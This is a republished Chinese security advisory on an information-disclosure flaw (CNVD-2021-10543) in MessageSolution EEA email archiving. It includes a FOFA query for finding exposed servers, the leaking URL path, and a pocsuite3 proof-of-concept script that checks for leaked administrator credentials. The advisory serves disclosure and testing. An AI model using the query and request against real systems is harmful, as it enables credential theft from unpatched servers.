暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

【漏洞预警】MessageSolution 企业邮件归档管理系统 EEA 存在信息泄露漏洞(CNVD-2021-10543)

燕云实验室 2021-06-28
964



“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。



 漏洞说明




该系统存在通用WEB信息泄漏,可以泄露Windows服务器administrator hash与web账号密码。


影响版本




MessageSolution Enterprise Email Archiving (EEA)


漏洞复现



fofa :

    title="MessageSolution Enterprise Email Archiving (EEA)"

    payload:

      http://url/authenticationserverservlet




      POC




        #!/usr/bin/env python
        # -*- coding: utf-8 -*-
        from urllib.parse import urlparse
        from pocsuite3.api import requests as req
        from pocsuite3.api import register_poc
        from pocsuite3.api import Output, POCBase
        from pocsuite3.api import POC_CATEGORY, VUL_TYPE




        class TestPOC(POCBase):
        vulID = '66'
        version = '1'
        author = 'zhzyker'
        vulDate = '2021-03-07'
        createDate = '2021-03-07'
        updateDate = '2021-03-07'
        references = [
        'https://github.com/zhzyker/vulmap']
        name = 'MessageSolution EEA 账户密码泄露(CNVD-2021-10543)'
        appPowerLink = 'http://www.messagesolution.cn/'
        appName = 'MessageSolution'
        appVersion = 'all'
        vulType = VUL_TYPE.CODE_EXECUTION
        category = POC_CATEGORY.EXPLOITS.REMOTE
        desc = '''
        MessageSolution Enterprise Email Archiving Management System EEA Has Information Disclosure Vulnerability

        '''
        samples = ['127.0.0.1']


        def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
        ports = [pr.port]
        else:
        ports = [443]
        for port in ports:
        target = '{}://{}:{}'.format(pr.scheme, pr.hostname, port)
        if target:
        try:
        get_url = target + "/authenticationserverservlet/"
        self.ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
        self.timeout = 10
        headers = {
        "User-agent": self.ua,
        "Connection": "close"
        }
        res = req.get(get_url, headers=headers, timeout=self.timeout, verify=False)
        if res.status_code == 200 and "administrator" in res.text:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['url'] = get_url
        break
        except Exception as e:
        pass

        return self.parse_attack(result)


        def _attack(self):
        return self._verify()


        def parse_attack(self, result):
        output = Output(self)
        if result:
        output.success(result)
        else:
        output.fail("not vulnerability")
        return output




        register_poc(TestPOC)


        修复建议‍




        厂商尚未提供漏洞修补方案,请关注厂商主页及时更新:

        http://www.messagesolution.cn/


        文章转载自燕云实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

        评论